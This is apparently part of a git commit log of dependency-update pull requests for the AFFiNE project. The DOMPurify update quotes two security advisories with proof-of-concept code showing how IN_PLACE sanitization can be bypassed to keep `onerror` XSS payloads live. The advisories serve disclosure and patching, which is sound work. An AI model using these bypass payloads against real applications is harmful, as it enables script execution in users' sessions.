([9f34da4](https://redirect.github.com/KaTeX/KaTeX/commit/9f34da4b3cf228a7af8134c394394d780a089f2b)),
closes
[#&#8203;3566](https://redirect.github.com/KaTeX/KaTeX/issues/3566)

####
[0.16.10](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.9...v0.16.10)
(2024-03-24)

##### Bug Fixes

- \edef bypassing maxExpand via exponential blowup
([e88b4c3](https://redirect.github.com/KaTeX/KaTeX/commit/e88b4c357f978b1bca8edfe3297f0aa309bcbe34))
- escape \includegraphics src and alt
([c5897fc](https://redirect.github.com/KaTeX/KaTeX/commit/c5897fcd1f73da9612a53e6b5544f1d776e17770))
- force protocol to be lowercase for better protocol filtering
([fc5af64](https://redirect.github.com/KaTeX/KaTeX/commit/fc5af64183a3ceb9be9d1c23a275999a728593de)),
closes
[/datatracker.ietf.org/doc/html/rfc3986#section-3](https://redirect.github.com//datatracker.ietf.org/doc/html/rfc3986/issues/section-3)
- maxExpand limit with Unicode sub/superscripts
([085e21b](https://redirect.github.com/KaTeX/KaTeX/commit/085e21b5da05414efefa932570e7201a7c70e5b2))

####
[0.16.9](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.8...v0.16.9)
(2023-10-02)

##### Features

- Support bold Fraktur
([#&#8203;3777](https://redirect.github.com/KaTeX/KaTeX/issues/3777))
([240d5ae](https://redirect.github.com/KaTeX/KaTeX/commit/240d5aede915e0303929a9328745b1060e12004a))

####
[0.16.8](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.7...v0.16.8)
(2023-06-24)

##### Features

- expose error length and raw error message on ParseError
([#&#8203;3820](https://redirect.github.com/KaTeX/KaTeX/issues/3820))
([710774a](https://redirect.github.com/KaTeX/KaTeX/commit/710774aaebb38f43b1ec51c159fe9b9520c91424))

####
[0.16.7](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.6...v0.16.7)
(2023-04-28)

##### Bug Fixes

- **docs/support_table.md:** delete redundant "varPsi"
([#&#8203;3814](https://redirect.github.com/KaTeX/KaTeX/issues/3814))
([33a1b98](https://redirect.github.com/KaTeX/KaTeX/commit/33a1b98710c880d2d4a67aa0048f027a94b85702))

####
[0.16.6](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.5...v0.16.6)
(2023-04-17)

##### Bug Fixes

- Support `\let` via `macros` option
([#&#8203;3738](https://redirect.github.com/KaTeX/KaTeX/issues/3738))
([bdb0be2](https://redirect.github.com/KaTeX/KaTeX/commit/bdb0be201794d22adaee05438b07a2830efea9da)),
closes
[#&#8203;3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737)
[#&#8203;3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737)

####
[0.16.5](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.4...v0.16.5)
(2023-04-17)

##### Features

- \_\_defineFunction API exposing internal defineFunction
([#&#8203;3805](https://redirect.github.com/KaTeX/KaTeX/issues/3805))
([c7b1f84](https://redirect.github.com/KaTeX/KaTeX/commit/c7b1f84b7801a29dffdfa3db0ff35de289db80c0)),
closes
[#&#8203;3756](https://redirect.github.com/KaTeX/KaTeX/issues/3756)

####
[0.16.4](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.3...v0.16.4)
(2022-12-07)

##### Bug Fixes

- space should prevent optional argument to \
([#&#8203;3746](https://redirect.github.com/KaTeX/KaTeX/issues/3746))
([a0deb34](https://redirect.github.com/KaTeX/KaTeX/commit/a0deb3410fd92340556fc4c9edb8ab586077e5bf)),
closes
[#&#8203;3745](https://redirect.github.com/KaTeX/KaTeX/issues/3745)

####
[0.16.3](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.2...v0.16.3)
(2022-10-22)

##### Bug Fixes

- \hline after \cr
([#&#8203;3735](https://redirect.github.com/KaTeX/KaTeX/issues/3735))
([ebf6bf5](https://redirect.github.com/KaTeX/KaTeX/commit/ebf6bf5b50a98ac6c5aca1896c0a6ba985c1c91c)),
closes
[#&#8203;3734](https://redirect.github.com/KaTeX/KaTeX/issues/3734)

####
[0.16.2](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.1...v0.16.2)
(2022-08-29)

##### Bug Fixes

- **auto-render:** concatenate content of successive text nodes
([#&#8203;3422](https://redirect.github.com/KaTeX/KaTeX/issues/3422))
([4d3fdd8](https://redirect.github.com/KaTeX/KaTeX/commit/4d3fdd8647a1c320dc7bcb9c9ea2af81379f700d))
- Implement \pmb via CSS text-shadow
([#&#8203;3505](https://redirect.github.com/KaTeX/KaTeX/issues/3505))
([176552a](https://redirect.github.com/KaTeX/KaTeX/commit/176552a69183d71425b491d4cc2fa1d462a1246a))

####
[0.16.1](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.0...v0.16.1)
(2022-08-28)

##### Bug Fixes

- Use SVGs for some stacked delims
([#&#8203;3686](https://redirect.github.com/KaTeX/KaTeX/issues/3686))
([8a65a2e](https://redirect.github.com/KaTeX/KaTeX/commit/8a65a2e1fd69ffeee2fac62229f9f05ebf6afd45))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 10:05:33 +08:00
geeblish 96fd01717f fix(electron): avoid Windows packaging glob hang (#15668)
## Description

Fixes Electron Forge packaging on Windows hanging during the `afterCopy`
cleanup of nested `.bin` entries.

`path.join(buildPath, '**/.bin/**/*')` produces a backslash-delimited
glob on Windows. Passing that pattern directly to `fast-glob` caused
traversal to consume a full CPU core and grow the Node heap until the
process failed near its default ~4 GB limit.

This Yarn patch normalizes the generated glob to forward slashes before
passing it to `fast-glob`. The patch is pinned to `@electron-forge/core`
7.11.1 through the workspace resolutions.

Observed locally on Windows x64:

- Before: packaging remained in `Preparing native dependencies` /
`Finalizing package` for 30+ minutes and eventually failed with
`JavaScript heap out of memory`.
- After: `yarn affine @affine/electron package --platform=win32
--arch=x64` completed successfully; the final packaging pass took about
28 seconds.
- The packaged application was launched and its renderer was inspected
through Chromium remote debugging; the workspace rendered with no
runtime exceptions.

## Checklist

- [x] I have signed the [AFFiNE Contributor License
Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required
before merge; the `license/cla` check must be green ([how it
works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first))
- [x] The PR targets the `canary` branch and its title follows
[Conventional Commits](https://www.conventionalcommits.org/)
- [ ] Tests are added or updated where it makes sense
- [ ] `yarn lint` and `yarn typecheck` pass locally
- [ ] If the PR code includes AI-generated edits, I have carefully
reviewed it to ensure that the scope of the PR is consistent with what
is claimed in the title and description, and that there are no redundant
or invalid implementations.
- [x] I agree that maintainers may close the PR without discussion if
they consider the code quality to be too low.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
  * Pinned Electron Forge to a patched version.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-10-07 10:05:20 +08:00
renovate[bot] 6d37848284 chore: bump up dompurify version to v3.4.16 [SECURITY] (#15677)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [dompurify](https://redirect.github.com/cure53/DOMPurify) | [`3.4.13`
→ `3.4.16`](https://renovatebot.com/diffs/npm/dompurify/3.4.13/3.4.16) |
![age](https://developer.mend.io/api/mc/badges/age/npm/dompurify/3.4.16?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dompurify/3.4.13/3.4.16?slim=true)
|

---

### DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves
detached subtree event handlers armed, causing DOM XSS

[GHSA-p98j-92pf-mc4p](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p)

<details>
<summary>More information</summary>

#### Details
##### Summary

In `IN_PLACE` mode DOMPurify sanitizes the caller's live DOM subtree
directly. To close a known hazard (GHSA-55q2-fjhq-7xh7), the library
neutralizes any node a hook detaches during sanitization by stripping
its subtree's non-allow-listed attributes, but this neutralization is
wired only into the `beforeSanitizeElements` and `uponSanitizeElement`
hook sites. An `afterSanitizeElements` or `afterSanitizeAttributes` hook
that removes a non-root element (a documented, supported pattern)
detaches that element's subtree with no neutralization, so descendant
`on*` handlers remain armed on the caller's live tree after `sanitize()`
returns, yielding DOM XSS. No special privilege is required beyond
supplying markup to an application that uses `IN_PLACE` together with a
node-removing afterSanitize hook.

##### Root Cause

`IN_PLACE` sanitization mutates the caller's live document, so any
element a hook detaches from that tree must have its subtree neutralized
before `sanitize()` returns; otherwise a queued resource-event handler
(for example an `<img onerror>` that began loading when the caller built
the tree) fires in page scope even though the handler never reached the
sanitized output. The guard helper `_handleHookDetachedNode` (which
calls `_neutralizeSubtree` in `IN_PLACE`) is invoked only after
`beforeSanitizeElements` and after `uponSanitizeElement`. It is never
invoked from the afterSanitize return paths, and `_sanitizeAttributes`
never calls it at all. The post-walk `IN_PLACE` neutralization pass
iterates only `DOMPurify.removed`, and hook-detached nodes are
intentionally not recorded there, so that pass cannot reach them either.

```text
src/purify.ts
  _sanitizeElements: _handleHookDetachedNode present at lines 2142 and 2175
    (before/upon), absent after afterSanitizeElements at lines 2208 and 2249.
  _sanitizeAttributes: afterSanitizeAttributes fires at line 2670 with no
    detach re-check; the function never calls _handleHookDetachedNode.
  Post-walk IN_PLACE pass (lines 3081-3090) iterates DOMPurify.removed only,
    which by design (comment at lines 2096-2099) excludes hook-detached nodes.
```

##### Impact

An attacker who supplies markup processed by a victim application that
runs `DOMPurify.sanitize(node, { IN_PLACE: true })` and registers a
node-removing `afterSanitizeElements` or `afterSanitizeAttributes` hook
can retain arbitrary `on*` event handlers on descendants of a removed
non-root element. Because `IN_PLACE` operates on the caller's live
document, a queued resource-event handler on such a descendant fires in
the page origin after the synchronous `sanitize()` call returns, giving
script execution in the victim's session (DOM XSS). This defeats
DOMPurify's `IN_PLACE` contract to neutralize handlers on subtrees
removed from the live tree. The capability is script execution in the
victim origin; exact confidentiality and integrity effects depend on the
hosting application's session.

##### Proof of Concept

```text
Dependencies: Node.js and jsdom. The harness builds a live tree, registers a
removal hook, runs IN_PLACE sanitize(), then inspects whether the attacker
onerror handler survives on the detached descendant. jsdom does not perform
real image loads, so the retained handler (rather than an actual fired event)
is the observed hazard; the retained on* attribute on a live detached node
after a synchronous sanitize() return is the neutralization failure.
```

Reproduction steps:
1. Build a live subtree `#root > section#wrap > img[onerror]` where
`#root` is the walk root and `section#wrap` is a non-root wrapper.
2. Register an `afterSanitizeElements` (or `afterSanitizeAttributes`)
hook that calls `node.remove()` on the wrapper.
3. Call `DOMPurify.sanitize(root, { IN_PLACE: true })`.
4. Observe that the descendant `<img>` retains its `onerror` handler,
whereas the same removal performed in a
`beforeSanitizeElements`/`uponSanitizeElement` hook strips it.

```javascript
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const { window } = new JSDOM('<!DOCTYPE html><body></body>');
const DOMPurify = createDOMPurify(window);

const root = window.document.createElement('div');
root.id = 'root';
root.innerHTML = '<section id="wrap"><img src="x" onerror="ATTACKER()"></section>';
window.document.body.appendChild(root);

DOMPurify.addHook('afterSanitizeElements', (node) => {
  if (node.id === 'wrap') node.remove();
});
DOMPurify.sanitize(root, { IN_PLACE: true });

// The detached <img> still carries its onerror handler:
console.log(root.querySelector('#wrap') === null,               // true (removed from live tree)
            !!window.document.querySelector('img[onerror]') ||  // handler survives on the detached node
            root.innerHTML);
```

```text
PASS: beforeSanitizeElements detach neutralizes descendant onerror (control)
PASS: uponSanitizeElement detach neutralizes descendant onerror (control)
PASS: without a removal hook the descendant onerror is stripped normally
PASS: afterSanitizeElements detach LEAVES descendant onerror armed (GAP)
PASS: afterSanitizeAttributes detach LEAVES descendant onerror armed (GAP)
PASS: kept custom element removed in afterSanitizeElements leaves descendant onerror armed (GAP)
```

##### Attack Chain

1. **Exposure:** The victim application calls
`DOMPurify.sanitize(liveNode, { IN_PLACE: true })` on
attacker-influenced markup and has registered a node-removing
`afterSanitizeElements` or `afterSanitizeAttributes` hook per an
application policy (`src/purify.ts:3026` walk, `2136` element pass,
`2522` attribute pass).
2. **Control:** The attacker controls the markup, including a non-root
wrapper element and, inside it, a descendant carrying an `on*`
resource-event handler such as `<img src=x onerror=...>`.
3. **Path:** The pre-order walk visits the wrapper before its
descendants. During the wrapper's element or attribute pass the
application hook detaches the wrapper from the live tree.
4. **Guard:** The detach-neutralization guard `_handleHookDetachedNode`
runs only after `beforeSanitizeElements` (`2142`) and
`uponSanitizeElement` (`2175`); it is absent after
`afterSanitizeElements` (`2208`, `2249`) and is never called by
`_sanitizeAttributes` (afterSanitizeAttributes at `2670`). The
NodeIterator advances past the detached subtree, so the descendants are
never revisited, and the post-walk pass iterates only
`DOMPurify.removed`, which excludes hook-detached nodes.
5. **Primitive:** The descendant retains its `on*` handler on the
caller's live document after `sanitize()` returns.
6. **Result:** The queued resource event fires the attacker handler in
the victim page origin, achieving DOM XSS despite `IN_PLACE`
sanitization.

##### Bypass Evidence

The relevant prior fix is GHSA-55q2-fjhq-7xh7 ("IN_PLACE hook removal
leaves a detached subtree executable, causing XSS"), whose change
(`#1557`) added `_neutralizeSubtree` at the `beforeSanitizeElements` and
`uponSanitizeElement` detach sites. Inspection of that change shows it
touches no afterSanitize site: the diff adds the neutralization only at
the before/upon locations, later refactored into
`_handleHookDetachedNode` at `src/purify.ts:2142` and `2175`. A
subsequent hardening change (`#1616`) added a `rootWasRemoved` throw and
a neutralization sweep over `DOMPurify.removed`, but that sweep still
iterates only `DOMPurify.removed`, which by design excludes
hook-detached non-root nodes, so it does not close this gap. The
`afterSanitizeElements`-on-kept-custom-element site at `2208` was itself
introduced by the fix for GHSA-c2j3-45gr-mqc4 (`#1527`), adding another
uncovered hook site.

Disproof attempts, all failed: (a) that a later release closed the
afterSanitize gap, refuted by inspecting the published 3.4.13, 3.4.14,
and 3.4.15 artifacts; (b) that detached descendants are revisited or
re-sanitized, refuted at runtime (the `onerror` is retained only at the
afterSanitize sites and stripped at the before/upon sites and with no
removal hook); (c) that the post-walk pass catches hook-detached nodes,
refuted by the design that excludes them from `DOMPurify.removed`; (d)
that the precondition is contrived, refuted by parity with the accepted
GHSA-55q2 threat model and the library's own supported pattern of
removing a node inside `afterSanitizeElements`. The only edge not
directly executed is the browser resource-event dispatch (jsdom performs
no real image load); it is established by the proven retention of the
live handler after a synchronous return, the library's own comments
describing exactly this hazard, and parity with the accepted GHSA-55q2
mechanism.

##### Affected Versions

- `Ecosystem: npm`
- `Package: dompurify`
- `Confirmed affected range: >= 3.4.13, <= 3.4.15`
- `Latest release checked: 3.4.15 (npm registry)`
- `Fix status: fixed in 3.4.16`

The before/upon detach neutralization introduced for GHSA-55q2-fjhq-7xh7
first shipped in 3.4.13; the residual afterSanitize gap was verified by
reproducing it against the published npm artifacts for 3.4.13, 3.4.14,
and 3.4.15. The 3.4.12 artifact predates that neutralization and behaves
differently at the before/upon sites, so it is outside this specific
incomplete-fix range. No release through 3.4.15 neutralizes detached
subtrees at the afterSanitize sites, so no fixed version is established.

##### Suggested Fix

Enforce the same `IN_PLACE` detach-neutralization invariant at every
hook site that can detach a node, not only the before/upon sites.
Concretely, apply a `_handleHookDetachedNode(currentNode, root)`
re-check after `afterSanitizeElements` at both `src/purify.ts:2208` and
`2249` (returning as removed when the node was detached), and add an
equivalent `IN_PLACE` detach check plus `_neutralizeSubtree` after
`afterSanitizeAttributes` at `2670`. As an interim mitigation without a
code change, applications using `IN_PLACE` can avoid removing nodes
inside `afterSanitizeElements`/`afterSanitizeAttributes` hooks and
instead perform such removals in
`beforeSanitizeElements`/`uponSanitizeElement`, or avoid `IN_PLACE` for
attacker-influenced content.

Reported by zx (GitHub: @&#8203;manus-pi).

#### Severity
- CVSS Score: 2.3 / 10 (Low)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p)
-
[https://github.com/cure53/DOMPurify/pull/1636](https://redirect.github.com/cure53/DOMPurify/pull/1636)
-
[https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7](https://redirect.github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7)
-
[https://github.com/cure53/DOMPurify/releases/tag/3.4.16](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16)
-
[https://github.com/advisories/GHSA-p98j-92pf-mc4p](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### DOMPurify: IN_PLACE returns a force-removed rawtext root whose text
carries attacker markup — pure HTML reparse executes

[GHSA-6688-9rhm-gjv2](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2)

<details>
<summary>More information</summary>

#### Details
##### Environment

- dompurify 3.4.15 (current npm release); reproduced independently on
jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)
- Config: `DOMPurify.sanitize(node, { IN_PLACE: true })` on a Node
input; `SAFE_FOR_XML` at its default (`true`)

##### Summary

The 3.4.9 fix for the IN_PLACE detached-root class added two protections
on the IN_PLACE return path: a fail-closed `TypeError` in `_forceRemove`
when a node selected for removal cannot be detached, and a
`_neutralizeSubtree` pass (`dist/purify.js` line 1336) that strips
non-allowlisted **attributes** from removed subtrees.

Both miss the rawtext **text-content** form. When the force-removed root
is a rawtext element (`<style>`), the payload lives in the node's
*text*: the node detaches fine (the `TypeError` guard is not reached),
`_neutralizeSubtree` strips nothing (there are no attributes), and the
IN_PLACE exit returns the detached, never-sanitized `<style>` whose text
still carries live markup. Serializing that node and re-parsing it in
**plain HTML context** materializes the payload — no foreign-content
context required.

The same Node input sanitized **without** `IN_PLACE` returns an empty
result: the only difference is the IN_PLACE return path handing the
killed node back.

##### Steps to reproduce

```js
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');   // 3.4.15

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

const styleRoot = window.document.createElement('style');
styleRoot.setAttribute('onclick', 'alert(1)');    // attribute payload
styleRoot.textContent = '</style><img src=x onerror=1>';  // text payload
window.document.body.appendChild(styleRoot);

const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });

console.log(returned === styleRoot);                       // true (same node)
console.log(styleRoot.parentNode === null);                // true (detached)
console.log(styleRoot.outerHTML);
// <style></style><img src=x onerror=1></style>
console.log(styleRoot.getAttribute('onclick'));            // null  (attribute neutralized)
console.log(styleRoot.textContent);                        // '</style><img src=x onerror=1>' (text survives)

// plain HTML reparse (no foreign-content context involved):
const probe = window.document.createElement('div');
probe.innerHTML = returned.outerHTML || styleRoot.outerHTML;
console.log(probe.querySelectorAll('img').length);         // 1
console.log(probe.querySelector('img').getAttribute('onerror')); // "1"
```

Observed on 3.4.15: one node, one call — the `onclick` **attribute** is
neutralized while the **text** payload (`</style><img src=x onerror=1>`)
survives verbatim; serializing and re-parsing the returned node in plain
HTML context materializes the `img` with the live `onerror` handler.

Contrast on the same Node input without `IN_PLACE`: `RETURN_DOM: true` →
`<body></body>`; `RETURN_DOM_FRAGMENT: true` → 0 children — the payload
is fully sanitized away. The only difference is the IN_PLACE return
path.

Contrast on the removal trigger: `SAFE_FOR_XML: false` → the node is not
removed (detached stays false); plain CSS text → not removed. The
removal is gated by the mXSS text probes and happens *specifically
because* the serialized node would re-open tags on reparse.

##### Root cause

`_isUnsafeNode` (`dist/purify.js` 3.4.15, lines 1700–1714) removes nodes
whose literal text would re-open tags on reparse — shape (b) in the
source comment is "text-only content that already carries the element's
OWN end tag", detected by the `LITERAL_TEXT_CLOSE` probe (line 385)
alongside the `ELEMENT_MARKUP_PROBE` (line 339) rules. `_forceRemove`
(line 1122) records the node in `DOMPurify.removed` (`{element}`) and
detaches it. The removal is intentional: the upstream comment states
these shapes are removed **because the literal serializer emits them
verbatim for the HTML parser to re-open**.

The IN_PLACE exit then hands the force-removed root back to the caller —
the very node whose removal `DOMPurify.removed` just recorded (verified:
`DOMPurify.removed.some(e => e.element === root)` is `true` on the
returned instance). The 3.4.9 `_neutralizeSubtree` pass (line 1336)
addresses only the attribute form — its own docstring: "walks a removed
subtree and strips every attribute" (purpose: cancel queued resource
events). Rawtext text content is out of its scope, so the removal that
was performed *specifically to prevent reparse* is undone by returning
the node: you removed it to stop the reparse, then returned it.

Differential (one node, one call, same removal path): the `onclick`
attribute is neutralized by the existing pass while the text payload
survives verbatim — the attribute axis is covered, the text axis is the
gap.

##### Impact

Identical blast radius to the published IN_PLACE family: an application
that sanitizes a Node in `IN_PLACE` mode and re-inserts (or serializes
and then re-inserts) the result materializes attacker markup in plain
HTML context: script execution in the page. Moving the returned node via
`appendChild` alone is safe; the round trip through serialization is
what fires the payload. No foreign-content context is required with the
close-tag payload.

##### Affected versions

- Verified live: 3.4.15 (current).
- Source-verified: the attribute-only `_neutralizeSubtree` and the
IN_PLACE return path are present in 3.4.9–3.4.14; releases before 3.4.9
predate the fix entirely (unconditional return; individual pre-3.4.9
releases not dynamically tested).
- Per cure53 advisory convention the affected range is reported as `<=
3.4.15` (current at time of writing).

##### Suggested remediation

**Primary (root-cause, covers every form):** at the IN_PLACE exit, check
whether the returned root was recorded during sanitization —
`DOMPurify.removed.some(e => e.element === root)` — and fail closed:
throw the same `TypeError` style used by the 3.4.9 detach guard ("a node
selected for removal could not be safely returned; refusing to sanitize
in place"), or return `null`. This is consistent with the existing
fail-closed design and covers all present and future root-kill reasons
in one check.

**Secondary (form-specific):** extend `_neutralizeSubtree` to neutralize
**text content of rawtext descendants** — the elements in
`LITERAL_TEXT_ELEMENT_NAMES` (`style`, `script`, `xmp`, `iframe`,
`noembed`, `noframes`, `plaintext`, `noscript`) — by rewriting
`textContent` to a defanged form, matching the probe coverage of
`_isUnsafeNode`/`LITERAL_TEXT_CLOSE`.

A regression test asserting that a force-removed rawtext root comes back
with no `/<[/\w!]/` match in `textContent` (and is not returned at all
under the primary fix) prevents re-introduction.

##### Prior art / differentiation

- GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form **root** removal —
different trigger; this report's root is a normal allowlisted `style`
element killed by the text probe.
- GHSA-55q2-fjhq-7xh7 (low): IN_PLACE **hook removal** leaves a detached
subtree executable — the attribute-form twin (hook-stripped subtree
retains onload-class handlers). This report's rawtext **text** form is
not covered by `_neutralizeSubtree`'s attribute stripping and is not
that advisory.
- GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the
standard (non-IN_PLACE) serialize path — different mechanism; IN_PLACE
is not involved.
- The 3.4.9 release notes credit @&#8203;mozfreedyb for the IN_PLACE
handling improvements that this residual escapes on the text axis.

##### Applicability scope (stated up front)

The payload materializes when the application **serializes and
re-parses** the sanitizer output (`innerHTML` assignment, template
rendering, markdown/HTML round trips) or otherwise consumes the returned
node's markup. Moving the returned node via `appendChild` alone does not
trigger it. Applications that pass **live, connected attacker trees**
into `IN_PLACE` are explicitly warned against by upstream's own source
comment; this report concerns the serialize-and-reinsert consumption
pattern that the IN_PLACE mode exists to serve.

#### Severity
Low

#### References
-
[https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2)
-
[https://github.com/cure53/DOMPurify/pull/1636](https://redirect.github.com/cure53/DOMPurify/pull/1636)
-
[https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7](https://redirect.github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7)
-
[https://github.com/cure53/DOMPurify/releases/tag/3.4.16](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16)
-
[https://github.com/advisories/GHSA-6688-9rhm-gjv2](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-6688-9rhm-gjv2)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>cure53/DOMPurify (dompurify)</summary>

###
[`v3.4.16`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.16):
DOMPurify 3.4.16

[Compare
Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.15...3.4.16)

- Fixed a problem with `IN_PLACE` node removal when working with hooks,
thanks [@&#8203;manus-pi](https://redirect.github.com/manus-pi)
- Fixed a problem with `IN_PLACE` sanitization and raw-text roots,
thanks [@&#8203;h-t-m](https://redirect.github.com/h-t-m)
- Fixed a problem with ESM default exports landing in CommonJS
declarations, thanks
[@&#8203;ssi02014](https://redirect.github.com/ssi02014)
- Migrated from `rollup` to `rolldown` because performance, thanks
[@&#8203;ssi02014](https://redirect.github.com/ssi02014)
- Bumped several dependencies where possible

###
[`v3.4.15`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.15):
DOMPurify 3.4.15

[Compare
Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.14...3.4.15)

- Added better clobbering hardening when XML content is involved, thanks
[@&#8203;gnyselcuk](https://redirect.github.com/gnyselcuk)
- Added several smaller hardening and edge-case improvements, thanks
[@&#8203;leechristensen](https://redirect.github.com/leechristensen)
- Bumped several dependencies where possible

###
[`v3.4.14`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.14):
DOMPurify 3.4.14

[Compare
Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.13...3.4.14)

- Fixed an issue with possible bypasses when risky tags are
allow-listed, thanks
[@&#8203;AlirezaRouhbakhsh](https://redirect.github.com/AlirezaRouhbakhsh)
- Fixed a couple of edge cases with mixed document contexts, thanks
[@&#8203;fishjojo1](https://redirect.github.com/fishjojo1)
- Added the SVG `pointer-events` and `vector-effect` presentation
attributes to the allow-list, thanks
[@&#8203;Jaybhade](https://redirect.github.com/Jaybhade)
- Conducted another refactoring run, removed dead branches and
duplicated logic, flattened attribute validation
- Updated the documentation in several spots, README, wiki, etc., thanks
[@&#8203;Akokonunes](https://redirect.github.com/Akokonunes)
- Updated several development dependencies and CI workflow actions

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 10:04:27 +08:00
renovate[bot] 432a3f45c3 chore: bump up @capacitor/ios version to v8.4.3 [SECURITY] (#15676)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@capacitor/ios](https://capacitorjs.com)
([source](https://redirect.github.com/ionic-team/capacitor)) | [`8.4.2`
→
`8.4.3`](https://renovatebot.com/diffs/npm/@capacitor%2fios/8.4.2/8.4.3)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fios/8.4.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fios/8.4.2/8.4.3?slim=true)
|

---

### Capacitor Android and iOS: remote content can be loaded at the app
origin via the internal HTTP proxy path
[CVE-2026-103922](https://nvd.nist.gov/vuln/detail/CVE-2026-103922) /
[GHSA-rvm3-566m-v7fv](https://redirect.github.com/advisories/GHSA-rvm3-566m-v7fv)

<details>
<summary>More information</summary>

#### Details
##### Impact

Capacitor's WebView navigation guard validated only the **host and
scheme** of a
target URL, not its **path**. Because the internal HTTP proxy path
(`/_capacitor_http_interceptor_`) is served at the application's own
origin, a
frame navigation to it was always treated as in-app navigation and
allowed.

Loading that path as a document caused the native layer to fetch an
arbitrary,
caller-specified URL and return the response body to the WebView **at
the app's
own origin**. Script in that response then ran with full same-origin
trust:
access to `localStorage`, cookies, and every native capability the
application
